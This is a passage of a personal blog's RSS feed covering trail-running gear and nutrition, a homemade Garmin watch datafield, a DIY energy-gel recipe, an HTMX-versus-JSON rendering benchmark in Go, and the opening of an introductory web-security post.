&lt;p&gt;If there&amp;rsquo;s no fountain on the route, you have to take the liquid with you. A completely valid solution is an emptied half-liter soda bottle, but silicone flasks are not that expensive either - I like them because shaking them isn&amp;rsquo;t noisy -, and drinking bags are also available for backpacks.&lt;/p&gt;
&lt;h4 id=&#34;trackingnavigation&#34;&gt;Tracking/navigation&lt;/h4&gt;
&lt;p&gt;If you run &lt;strong&gt;you must have&lt;/strong&gt; a &lt;a href=&#34;https://strava.com&#34;&gt;strava account&lt;/a&gt;. Of course, it&amp;rsquo;s not a must, but what&amp;rsquo;s not on the internet never happened, and currently strava is the instagram of runners/cyclists. There are communities, you can tag friends, and steal routes, where it&amp;rsquo;s worth running.&lt;/p&gt;
&lt;p&gt;Strava&amp;rsquo;s mobile app is also capable of tracking your run, but there are thousands of others, and if you have a smart/sports watch, it can probably track your run better than your mobile. Nevertheless, it&amp;rsquo;s always worth taking a phone with you - or anything you can contact the left behind with -, anything can happen at any time, not least it&amp;rsquo;s easier to find you in the forest if you get lost.&lt;/p&gt;
&lt;p&gt;If you venture further into the wilderness, it&amp;rsquo;s also useful to have some offline usable map with you. There are places where there&amp;rsquo;s no mobile signal, and anyway, Google maps and friends are completely useless outside of civilized areas. There are many free OpenStreetMap-based maps available for both Android and iOS, which you can use for free, it&amp;rsquo;s worth getting one, and if you use it a lot, buy it. Some of them (e.g. &lt;a href=&#34;https://mapy.cz&#34;&gt;mapy.cz&lt;/a&gt;) also show hiking trails.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./navi.jpg&#34; alt=&#34;navigation&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Then, if you really navigate a lot on unknown terrain, and you don&amp;rsquo;t want to run with your phone in your hand, offline navigation-capable watches may be an option for you - but these are typically very expensive.&lt;/p&gt;
&lt;h4 id=&#34;health-tracking&#34;&gt;Health tracking&lt;/h4&gt;
&lt;p&gt;Now that we&amp;rsquo;re talking about smart watches/bracelets, most of these are capable of measuring your pulse while running. These data are far from being diagnostic, and it&amp;rsquo;s not worth comparing them with other people&amp;rsquo;s measurements, but they can give you an idea of how well you can perform on a given day, and also warn you to take a bit back if you want to reach the end of the track.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that optical pulse measurement will never be perfect, it varies from person to person how accurate even the most modern watches can be, so if you want more reliable data, you&amp;rsquo;d better get a chest strap pulse meter, which is much more accurate.&lt;/p&gt;
&lt;p&gt;In addition, many interesting (useful?) things can be extracted from some hours, e.g.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cadence&lt;/li&gt;
&lt;li&gt;stride length&lt;/li&gt;
&lt;li&gt;estimated power&lt;/li&gt;
&lt;li&gt;vertical oscillation&lt;/li&gt;
&lt;li&gt;ground contact time (in some cases compared to the other leg, how symmetrically you use them)&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
  &lt;img src=&#34;./stats.jpg&#34; alt=&#34;stats&#34;&gt;

&lt;/p&gt;
&lt;p&gt;In addition, if you wear the watch continuously, they can assess the quality of your sleep, tell you how much you should rest after a given run, and even suggest a training plan.&lt;/p&gt;
&lt;h4 id=&#34;belt-backpack&#34;&gt;Belt, backpack&lt;/h4&gt;
&lt;p&gt;It&amp;rsquo;s also a personal preference question whether you like to run with a belt or a backpack, but after a while things won&amp;rsquo;t fit in your hand, and you&amp;rsquo;ll run out of pockets on your clothes. It&amp;rsquo;s worth trying these too if you have the opportunity, and here too, the branded sportswear versions are not to be discarded.&lt;/p&gt;
&lt;h4 id=&#34;headlight&#34;&gt;Headlight&lt;/h4&gt;
&lt;p&gt;
  &lt;img src=&#34;./headlight.jpg&#34; alt=&#34;headlight&#34;&gt;

&lt;/p&gt;
&lt;p&gt;If you run at night, it&amp;rsquo;s definitely recommended, especially in the forest. If you go on a longer trip, it&amp;rsquo;s worth having it in your backpack, so you don&amp;rsquo;t have to worry if it gets dark, you might even have something to lend to the lost hikers who didn&amp;rsquo;t bring one.&lt;/p&gt;
&lt;h4 id=&#34;snow-chains&#34;&gt;Snow chains&lt;/h4&gt;
&lt;p&gt;
  &lt;img src=&#34;./homacska.jpg&#34; alt=&#34;snow chains&#34;&gt;

&lt;/p&gt;
&lt;p&gt;We don&amp;rsquo;t stay at home even if it snows. As long as it&amp;rsquo;s fresh, there&amp;rsquo;s no big problem, but when it&amp;rsquo;s already trampled hard, or melted/refrozen, there&amp;rsquo;s no shoe that won&amp;rsquo;t slip on it. This is where the snow chain comes in handy.&lt;/p&gt;
&lt;h4 id=&#34;running-poles&#34;&gt;Running poles&lt;/h4&gt;
&lt;p&gt;Even here in Hungary, there are places where it makes it easier to move, but you have to learn to use it, at the beginning it&amp;rsquo;s more of a hindrance than a help.&lt;/p&gt;
&lt;h4 id=&#34;life-saving-foil&#34;&gt;&amp;ldquo;Life-saving&amp;rdquo; foil&lt;/h4&gt;
&lt;p&gt;Jó, ez az elején remélhetőleg nem kell, de több versenyen is kötelező tartozék, és inkább legyen a táskában feleslegesen, mint ne legyen ott, de te átazva kuporogj valami üregben törött bokával fagypont körül.&lt;/p&gt;
&lt;p&gt;Ok, you probably won&amp;rsquo;t need this at the beginning, but it&amp;rsquo;s a mandatory accessory for many races, and it&amp;rsquo;s better to have it in your backpack unnecessarily than not to have it while squatting in a hole with a broken ankle soaked through and near freezing.&lt;/p&gt;
&lt;h4 id=&#34;band-aid&#34;&gt;Band-aid&lt;/h4&gt;
&lt;p&gt;
  &lt;img src=&#34;./veer.jpg&#34; alt=&#34;blood&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Completely unnecessary. If you run in the forest, you will fall, period. If the wound is small enough for the band-aid, you won&amp;rsquo;t mess with it. If needs some sewing, or half of your skin has come off of your side, then it doesn&amp;rsquo;t help. Of course, I have it in my backpack too, but I&amp;rsquo;ve never used it.&lt;/p&gt;
&lt;h4 id=&#34;sword-gun-and-other-weapons&#34;&gt;Sword, gun, and other weapons&lt;/h4&gt;
&lt;p&gt;Boars don&amp;rsquo;t hurt you, if they sense you, they run away. Or run towards you. If they run towards you, then it doesn&amp;rsquo;t matter what you have with you, you have to get out of their way. Dogs raised by stupid/careless owners are much more dangerous than wild animals, as are people in general - if you really feel like it, you can carry a pepper spray with you.&lt;/p&gt;
&lt;h3 id=&#34;refreshment&#34;&gt;Refreshment&lt;/h3&gt;
&lt;p&gt;This is a pretty complex topic, it&amp;rsquo;s kind of personal, what you bear/like/need, and there&amp;rsquo;s a scientific background to it, which is worth looking into over time. I&amp;rsquo;ll write down what I usually do.&lt;/p&gt;
&lt;h4 id=&#34;short----10-km1-hour&#34;&gt;Short - &amp;lt; 10 km/1 hour&lt;/h4&gt;
&lt;p&gt;Nothing much is needed, maybe a little water in the summer.&lt;/p&gt;
&lt;h4 id=&#34;medium---up-to-half-marathon&#34;&gt;Medium - up to half marathon&lt;/h4&gt;
&lt;p&gt;2 dl of iso every half hour, 1 chocolate muesli bar every hour, salt tablets in the summer.&lt;/p&gt;
&lt;h4 id=&#34;long---well-over-half-marathon&#34;&gt;Long - well over half marathon&lt;/h4&gt;
&lt;p&gt;This is where it gets interesting for me. I used to use the muesli bar method here too, possibly supplemented with grape sugar (glucose/dextrose) tabs, but at around 30-35 km this (for me) becomes insufficient, I get hungry, I feel that I&amp;rsquo;m out of energy.&lt;/p&gt;
&lt;p&gt;So I started using energy gels (&lt;a href=&#34;https://horak.hu/posts/energy-gel/&#34;&gt;my own&lt;/a&gt;, because they&amp;rsquo;re expensive otherwise) - 3-4 sips every half hour, accompanied by ~2 dl of iso, and so far it works, I consumed all the half-liter of it that my soft-flask can hold on Vérmókus (52km/1800m) or on Mátrabérc (55km/2800m), but I didn&amp;rsquo;t feel for a moment that there would be a problem. Then, I can&amp;rsquo;t personally comment on, what would happen on longer ultra-runs, but even at such distances it&amp;rsquo;s clear that you shouldn&amp;rsquo;t only eat/drink when you feel actual hunger, and not what comes to your mind, but you need to consciously consume the carbohydrate that your body can process - not too little, because it runs out, and not too much, because it leaves earlier than you&amp;rsquo;d like.&lt;/p&gt;
&lt;h3 id=&#34;races-hiking-tours&#34;&gt;Races, hiking tours&lt;/h3&gt;
&lt;p&gt;Running alone isn&amp;rsquo;t bad, but it&amp;rsquo;s even better in company! Or not. There are a lot of races everywhere, almost every weekend there&amp;rsquo;s something, shorter/longer/ultra, urban/trail, individual/relay, &amp;hellip; It&amp;rsquo;s worth trying them, because it&amp;rsquo;s a completely different experience.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./rajt.jpg&#34; alt=&#34;vadlán start&#34;&gt;

&lt;/p&gt;
&lt;p&gt;I personally don&amp;rsquo;t like urban races or even racing itself, I overdo it unnecessarily. But I love the atmosphere of the longer trail-relay-races, where of course there&amp;rsquo;s always something unexpected to solve together with the team, and you are not just a racer, but supporter and cheerleader and such.&lt;/p&gt;
&lt;p&gt;I also started going on hiking tours, where nobody will stop you when you run, but you have time to stop and chat at checkpoints, or walk a bit together with other hikers in the rainy/foggy night in the forest to find the eluding checkpoint.&lt;/p&gt;
&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;
&lt;p&gt;Since I&amp;rsquo;m using strava (autumn of 2020 - beginning of 2024) I&amp;rsquo;ve run a total of 7143 km, with 186 thousand meters of elevation gain, mostly in the forest, mainly in the Buda mountains. I&amp;rsquo;ve met a lot of nice and funny people, I see something new, interesting on almost every run, I meet wild animals, and I still want to run further and further. Although this may be the effect of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Endocannabinoid_system&#34;&gt;endocannabinoids&lt;/a&gt; 😉&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./heatmap.jpg&#34; alt=&#34;heatmap&#34;&gt;

&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Garmin RepaField</title>
      <link>https://horak.hu/posts/garmin/</link>
      <pubDate>Wed, 18 Oct 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/garmin/</guid>
      <description>&lt;p&gt;A few weeks ago there was a rainy weekend and I was not able to do the planned work in the garden, also the Vadlan Ultra Terep trail running competition was near, so I decided to create my own Garmin watch datafield.&lt;/p&gt;
&lt;p&gt;My main plan was to display both the stamina and the remaining distance from the track in a comparible way (among other metrics I&amp;rsquo;m interested in, like heart rate, pace and such), but that failed since many metrics are not available through the SDK - stamina among them. But anyway, I&amp;rsquo;ve created my datafield, I really like it, and at the moment of writing 178 other runners have installed it, too.&lt;/p&gt;
&lt;p&gt;You can download it from the &lt;a href=&#34;https://apps.garmin.com/en-US/apps/5c24ea07-4add-459b-ae51-87332fe591ff&#34;&gt;Garmin Connect IQ store&lt;/a&gt;.&lt;/p&gt;</description>
      <content>&lt;p&gt;A few weeks ago there was a rainy weekend and I was not able to do the planned work in the garden, also the Vadlan Ultra Terep trail running competition was near, so I decided to create my own Garmin watch datafield.&lt;/p&gt;
&lt;p&gt;My main plan was to display both the stamina and the remaining distance from the track in a comparible way (among other metrics I&amp;rsquo;m interested in, like heart rate, pace and such), but that failed since many metrics are not available through the SDK - stamina among them. But anyway, I&amp;rsquo;ve created my datafield, I really like it, and at the moment of writing 178 other runners have installed it, too.&lt;/p&gt;
&lt;p&gt;You can download it from the &lt;a href=&#34;https://apps.garmin.com/en-US/apps/5c24ea07-4add-459b-ae51-87332fe591ff&#34;&gt;Garmin Connect IQ store&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./repafield.png&#34; alt=&#34;RepaField&#34;&gt;

&lt;/p&gt;
&lt;h2 id=&#34;whats-included&#34;&gt;What&amp;rsquo;s included?&lt;/h2&gt;
&lt;p&gt;Metrics shown:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;heart rate (color coded)
&lt;ul&gt;
&lt;li&gt;current&lt;/li&gt;
&lt;li&gt;average&lt;/li&gt;
&lt;li&gt;max&lt;/li&gt;
&lt;li&gt;line histogram&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;pace
&lt;ul&gt;
&lt;li&gt;current&lt;/li&gt;
&lt;li&gt;average&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;distance&lt;/li&gt;
&lt;li&gt;cadence (color coded)&lt;/li&gt;
&lt;li&gt;altitude
&lt;ul&gt;
&lt;li&gt;current&lt;/li&gt;
&lt;li&gt;elevation gain&lt;/li&gt;
&lt;li&gt;elevation loss&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;current time&lt;/li&gt;
&lt;li&gt;elapsed time&lt;/li&gt;
&lt;li&gt;done vs remaining distance of the current course (red if you&amp;rsquo;re off track)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Configuration:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 theme colors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Plans:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vertical speed, GAP&lt;/li&gt;
&lt;li&gt;pace/speed switch in settings&lt;/li&gt;
&lt;li&gt;hr display options (hr value, percentage of max, hr zone)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;how&#34;&gt;How?&lt;/h2&gt;
&lt;p&gt;Garmin provides an SDK and tools to help creating apps and widgets for their wearables, for Windows, Mac and Linux as well.&lt;/p&gt;
&lt;p&gt;The SDK is JVM based, but instead of Java it uses a custom language called Monkey C. It&amp;rsquo;s a bit like Java, but there are differences, like dynamic typing, lack of primitive types, reference counting GC, functions, etc. But if you have used some kind of modern high level programming language, than you won&amp;rsquo;t struggle too much.&lt;/p&gt;
&lt;p&gt;The SDK is well documented, but as I said a lot of metrics are not exposed through it.&lt;/p&gt;
&lt;p&gt;Command line tools are also provided with the SDK, but a more user friendly Visual Code extension is also maintained by Garmin.&lt;/p&gt;
&lt;h2 id=&#34;publishing&#34;&gt;Publishing&lt;/h2&gt;
&lt;p&gt;The publish process is pretty straightforward, you export your app, upload it to the Connect IQ storewith some info and screenshots, they review it, and that&amp;rsquo;s it. You can even ask money for your apps, but that should be done via some kind of 3rd party, Garmin does not provide any help for that.&lt;/p&gt;
&lt;h2 id=&#34;challenges&#34;&gt;Challenges&lt;/h2&gt;
&lt;h3 id=&#34;many-different-devices&#34;&gt;Many different devices&lt;/h3&gt;
&lt;p&gt;Garmin has a lot of watches, and they can have very different capabilities. Round or square; classic LCD, MIPS or AMOLED (1, 8, 16, 64, or basically 24 bit colors); wide range of resolutions from low like 208x208, 240x240 &amp;hellip; to high like 416x416 or 454x454. Processor power and memory size is also very different for each model.&lt;/p&gt;
&lt;p&gt;The resource compiler helps with this, reduces bitmap colors for the target device for example, and you can use different layouts and resources for different device groups (like &lt;code&gt;resources-round&lt;/code&gt;, &lt;code&gt;resources-round-240x240&lt;/code&gt; or even &lt;code&gt;resources-fenix7spro&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;performance&#34;&gt;Performance&lt;/h3&gt;
&lt;p&gt;Well, to be honest, some of the watches are much more powerful than computers from 20 years ago, but they are nothing compared to recent ones, or mobile phones. They also have quite small batteries, that can be sucked dry by CPU heavy tasks - so writing performance optimized code is a key.&lt;/p&gt;
&lt;p&gt;Garmin doesn&amp;rsquo;t invented Monkey C for just fun, they are probably doing a lot of optimizations during compilation, but there are areas where you should really be aware what you are doing, and &lt;em&gt;how much it costs&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Memory usage is also something you need to check. For example my datafield currently uses about 31kbyes of memory - with the icons and code and everything. Sounds low compared to modern programs, but many of the older/lower end Garmin watches allow only 28k for a single datafield 😐&lt;/p&gt;
&lt;p&gt;(I could probably take steps to go below 28k, but that would also block my plans for further development, so I decided not to support those watches. Newer/more high end watches provide 124k/252k for a datafield, which currently seems to be enough for a while.)&lt;/p&gt;
&lt;h3 id=&#34;lacking-api&#34;&gt;Lacking API&lt;/h3&gt;
&lt;p&gt;As I mentioned above, the API is far from complete, lot of data available for native widgets aren&amp;rsquo;t accessible through it. You can create a thread in the developer forums asking Garmin to include this or that in the API, and with luck you might get it in years. Or not, that&amp;rsquo;s life.&lt;/p&gt;
&lt;h2 id=&#34;performance-optimization-example&#34;&gt;Performance optimization example&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Image rotation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A long requested feature is the ability to rotate images or text - for example rotating hands are crucial part of any analog-like watchface. That is currently not easily possible with the API - you can do that pixel-by-pixel, but that will consume a lot of CPU, and will be ugly because of the lack of antialiasing.&lt;/p&gt;
&lt;p&gt;Bitmap fonts to the rescue! Smart developers recognized that they could use the bitmap font support - that is available in the API - to store the pre-rotated versions of images, and use them later in an optimized way. Bitmap fonts are also support alpha channel, so anti-aliasing is an extra, and the resource compiler optimizes them for the actual product (reducing colors where they aren&amp;rsquo;t available, etc.) Only grayscale images are supported - but they can be used as colored text later, and with multiple &amp;ldquo;layers&amp;rdquo; you can do fancy stuff.&lt;/p&gt;
&lt;p&gt;Somebody even wrote a &lt;a href=&#34;https://github.com/sunpazed/garmin-tilemapper&#34;&gt;tool&lt;/a&gt; that creates the bitmap font from images for you.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve also started to create a watchface last weekend, and wrote an other small tool &lt;a href=&#34;https://github.com/dyuri/bmrot&#34;&gt;that&lt;/a&gt; rotates bmfont descriptors, to support text written vertically.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./repagrunge.png&#34; alt=&#34;RepaGrunge&#34;&gt;

&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>DIY energy gel</title>
      <link>https://horak.hu/posts/energy-gel/</link>
      <pubDate>Sat, 19 Aug 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/energy-gel/</guid>
      <description>&lt;p&gt;Energy gels are expensive as hell, so I decided to &lt;em&gt;cook&lt;/em&gt; my own.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the recipe I used:&lt;/p&gt;</description>
      <content>&lt;p&gt;Energy gels are expensive as hell, so I decided to &lt;em&gt;cook&lt;/em&gt; my own.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the recipe I used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;200g maltodextrin&lt;/li&gt;
&lt;li&gt;50g fructose&lt;/li&gt;
&lt;li&gt;10g citrulline-malate&lt;/li&gt;
&lt;li&gt;1000mg ascorbic acid (vitamin C)&lt;/li&gt;
&lt;li&gt;200mg caffeine&lt;/li&gt;
&lt;li&gt;2 salt pill pulverized
&lt;ul&gt;
&lt;li&gt;400mg Na&lt;/li&gt;
&lt;li&gt;80mg K&lt;/li&gt;
&lt;li&gt;30mg Mg&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2 tsp of cola flavoured BCAA (for the taste 😉)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This can be dissolved in about 3-4dl of water (I used a milk pan to heat them together a bit, but only about at 40C), and it&amp;rsquo;s still not that gel-like, can be poured into a silicone flask easily.&lt;/p&gt;
&lt;p&gt;The final product contain about &lt;strong&gt;200&lt;/strong&gt; kcal and 40 mg caffeine per 100 ml. (Common &lt;em&gt;energy drinks&lt;/em&gt; - like Red Bull - contains about 46 kcal, 32 mg caffeine per 100ml.)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[Update]&lt;/p&gt;
&lt;p&gt;Today (2023-08-20) I went to a 30k trail run into the nearby Pilis hills, and drank about 2/3 of the liquid above during the run - a mouthful about every 5kms - and not used the usual chocolate bars. It worked, I barely got tired at the end despite the heat and high humidity! Need to fine-tune the taste, but it&amp;rsquo;s already great.&lt;/p&gt;
&lt;/blockquote&gt;</content>
    </item>
    
    <item>
      <title>HTMX</title>
      <link>https://horak.hu/posts/htmx/</link>
      <pubDate>Thu, 29 Jun 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/htmx/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://htmx.org&#34;&gt;HTMX&lt;/a&gt; is a small (&lt;em&gt;~14k&lt;/em&gt;), dependency-free, extendable frontend framework, with a very straightforward approach. It extends the &lt;em&gt;Hypertext&lt;/em&gt; capabilities of HTML, without the need of using JavaScript.&lt;/p&gt;
&lt;p&gt;Basic concepts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any DOM element can trigger HTTP requests&lt;/li&gt;
&lt;li&gt;Any HTTP methods can be used (not just &lt;code&gt;GET&lt;/code&gt; and &lt;code&gt;POST&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The response from the server is HTML or HTML fragment&lt;/li&gt;
&lt;li&gt;State management is is server-side, frontend is simple and &lt;em&gt;dummy&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;p&gt;&lt;a href=&#34;https://htmx.org&#34;&gt;HTMX&lt;/a&gt; is a small (&lt;em&gt;~14k&lt;/em&gt;), dependency-free, extendable frontend framework, with a very straightforward approach. It extends the &lt;em&gt;Hypertext&lt;/em&gt; capabilities of HTML, without the need of using JavaScript.&lt;/p&gt;
&lt;p&gt;Basic concepts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any DOM element can trigger HTTP requests&lt;/li&gt;
&lt;li&gt;Any HTTP methods can be used (not just &lt;code&gt;GET&lt;/code&gt; and &lt;code&gt;POST&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The response from the server is HTML or HTML fragment&lt;/li&gt;
&lt;li&gt;State management is is server-side, frontend is simple and &lt;em&gt;dummy&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;html-as-content&#34;&gt;HTML as content&lt;/h2&gt;
&lt;p&gt;The concept of using HTML as content is nothing new 😉. We did that in the &lt;em&gt;old days&lt;/em&gt;, before the time of SPAs and React and their friends, and we do it even now for mostly static content - you are looking at an example of this at the moment.&lt;/p&gt;
&lt;p&gt;But at some point clients got more powerful and developers started to move the application logic - and even the rendering - from the backend to the frontend. Instead of HTML, data travelled from the backend as JSON (or XML), and JavaScript did the rendering and the rest in the browser. Frameworks started to re-implement functionality that browsers already provided, using JavaScript that can run only in the main thread and blocks the page.&lt;/p&gt;
&lt;p&gt;UI performance got more and more important, Google introduced the Core Web Vitals for ranking sites, so (initial) rendering started to move back to the backend. But instead of using the classic approach, many frameworks (like Next) provided a way to render the SPA application in the backend side - using the same AJAX calls, virtual DOM and other stuff, that aren&amp;rsquo;t ment to be in the backend originally.&lt;/p&gt;
&lt;p&gt;Instead of just serving HTML by the backend. Quite crazy isn&amp;rsquo;t it?&lt;/p&gt;
&lt;h2 id=&#34;json-or-html&#34;&gt;JSON or HTML&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Rendering&lt;/em&gt; HTML or JSON in the backend from the same data should use basically very similar resources. If we want to do some escaping for the HTML part, than it&amp;rsquo;s a bit more resource heavy, but we have pretty good, reliable HTML template engines (and we need to escape/sanitize that data eventually somewhere anyway). It is also possible to cache these HTML fragments, if they can be re-used later.&lt;/p&gt;
&lt;p&gt;Sending them over the network is also very similar, the HTML will be bigger in most cases, but usually it can be compressed quite well.&lt;/p&gt;
&lt;p&gt;Displaying the new content in a browser might be a different topic. In case of HTML, we just swap the content of a DOM node, and we&amp;rsquo;re done. For JSON case there are a lot of options based on the framework. Let&amp;rsquo;s use the most straightforward way: do the escaping (if it hasn&amp;rsquo;t been done in the backend), render the HTML (using for example template literals, that are pretty fast), then replacing the content in the DOM.&lt;/p&gt;
&lt;p&gt;Since we took the same steps, it should take pretty much the same time - but while we&amp;rsquo;re doing the rendering the frontend, the UI is blocked. And we also have to deliver the code for the frontend into the browser somehow, which takes extra time.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Moving the initial rendering phase of a SPA to the backend using nodejs and other tricks might help with the initial page load, especially if the rendered content can be cached as static HTML files, but in my experience it&amp;rsquo;s still far behind the &lt;em&gt;classic&lt;/em&gt; approach in terms of performance.&lt;/p&gt;
&lt;p&gt;I recently witnessed migrating a quite heavy site from a &lt;em&gt;more classical&lt;/em&gt; approach to Next.js, and LCP got about 3 times worse (1.5 =&amp;gt; 5+ sec). The content is hard to cache, storing the pre-rendered HTMLs is not an option. I&amp;rsquo;m still curious what the &lt;em&gt;experts&lt;/em&gt; gonna come up with.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;demo&#34;&gt;Demo&lt;/h2&gt;
&lt;p&gt;So I decided I give it a try, and created a small &lt;code&gt;golang&lt;/code&gt; project, where I can test HTMX and compare the HTML and the JSON based approach. For backend templates I used &lt;a href=&#34;https://templ.guide/&#34;&gt;templ&lt;/a&gt;, I just found it recently, and looked like something made for the job. (It also does the escaping part, and security is an important topic for me.)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can find the code &lt;a href=&#34;https://github.com/dyuri/templ-htmx-experiment&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;the-backend&#34;&gt;The backend&lt;/h3&gt;
&lt;p&gt;I created to API endpoints, one that returns the POSTed data as JSON (using the JSON encoder from &lt;code&gt;golang&lt;/code&gt;s standard library), and one that returns it as HTML (via &lt;code&gt;templ&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&#34;https://github.com/nakabonne/ali&#34;&gt;ali&lt;/a&gt; to &lt;em&gt;load test&lt;/em&gt; the backend. Of course this is a very basic demo, very far from real world usage, but I think we could see if the concept was fundamentally wrong.&lt;/p&gt;
&lt;p&gt;Results (10s, unlimited rate, everything else on default, best of 3 runs):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;json&lt;/code&gt;: 95250 req/s, 100% success rate, P90: ~0.6 ms&lt;/li&gt;
&lt;li&gt;&lt;code&gt;templ&lt;/code&gt;: 95687 req/s, 100% success rate, P90: ~0.59 ms&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
  &lt;figure&gt;
    &lt;img src=&#34;be_perf_json.png&#34; alt=&#34;JSON backend&#34;&gt;
    &lt;figcaption&gt;Ali test for JSON API endpoint&lt;/figcaption&gt;
  &lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;
  &lt;figure&gt;
    &lt;img src=&#34;be_perf_templ.png&#34; alt=&#34;HTML backend&#34;&gt;
    &lt;figcaption&gt;Ali test for Templ API endpoint&lt;/figcaption&gt;
  &lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;Well, ok, that&amp;rsquo;s basically just sending back a name/email pair as a JSON or HTML, but still, quite quick, and no difference. (I used to use python for such tasks, it&amp;rsquo;s in a completely different league.)&lt;/p&gt;
&lt;h3 id=&#34;the-frontend&#34;&gt;The frontend&lt;/h3&gt;
&lt;p&gt;I&amp;rsquo;ve also created a small frontend, to test HTMX and to compare the JSON and HTML based approach. Even though HTMX implements the later, it does a lot of other things too, so I&amp;rsquo;ve created a bare minimum implementation for that approach, too.&lt;/p&gt;
&lt;p&gt;
  &lt;figure&gt;
    &lt;img src=&#34;fe_htmx.png&#34; alt=&#34;Frontend&#34;&gt;
    &lt;figcaption&gt;Screenshot of the web frontend&lt;/figcaption&gt;
  &lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a form that is POSTed to the backend, and the card with the name and email address is replaced with the response. I&amp;rsquo;ve also implemented some kind of auto-repeat function to be able to test the performance, it re-sends the form when the card is replaced in the DOM.&lt;/p&gt;
&lt;p&gt;Results (average of 10000 form posts, best of 3 runs):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;json&lt;/code&gt;: 1.5864 ms/req&lt;/li&gt;
&lt;li&gt;&lt;code&gt;html&lt;/code&gt;: 1.5621 ms/req&lt;/li&gt;
&lt;li&gt;&lt;code&gt;html&lt;/code&gt; via &lt;code&gt;htmx&lt;/code&gt;: 1.8445 ms/req&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I mentioned before, comparing my bare minimum implementations to HTMX is not fair, because it does a lot of other things, dispatches a butch of DOM events and such, but it still performed quite well, was only about 20% slower than the others.&lt;/p&gt;
&lt;p&gt;The difference between the JSON and the HTML based approach is negligible (~1.5%), but it worth to mention that all the HTML runs were faster than the fastest JSON run.&lt;/p&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I like this HTML fragment based approach, and while it might not fit for every website, I definitely will consider to use it in the future.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Web Security Basics</title>
      <link>https://horak.hu/posts/web-security/</link>
      <pubDate>Wed, 28 Jun 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/web-security/</guid>
      <description>&lt;p&gt;The security of websites was always an important topic, and in my opinion it&amp;rsquo;s still a bit neglected by some developers. We have plenty of new tools, browsers try to protect their users more and more, but still, it&amp;rsquo;s important for a developer to be clear with some basic concepts.&lt;/p&gt;
&lt;!-- more --&gt;
&lt;h2 id=&#34;basics&#34;&gt;Basics&lt;/h2&gt;
&lt;h3 id=&#34;hash&#34;&gt;Hash&lt;/h3&gt;
&lt;p&gt;Hashing algorithms are basically &lt;em&gt;one way functions&lt;/em&gt;, where (typically) the &lt;code&gt;hash(x)&lt;/code&gt; call is quick and easy, but its inverse is very slow and expensive - even impossible. In most cases they map arbitrary strings to fixed length, ones with very low probability of collision.&lt;/p&gt;</description>
      <content>&lt;p&gt;The security of websites was always an important topic, and in my opinion it&amp;rsquo;s still a bit neglected by some developers. We have plenty of new tools, browsers try to protect their users more and more, but still, it&amp;rsquo;s important for a developer to be clear with some basic concepts.&lt;/p&gt;
&lt;!-- more --&gt;
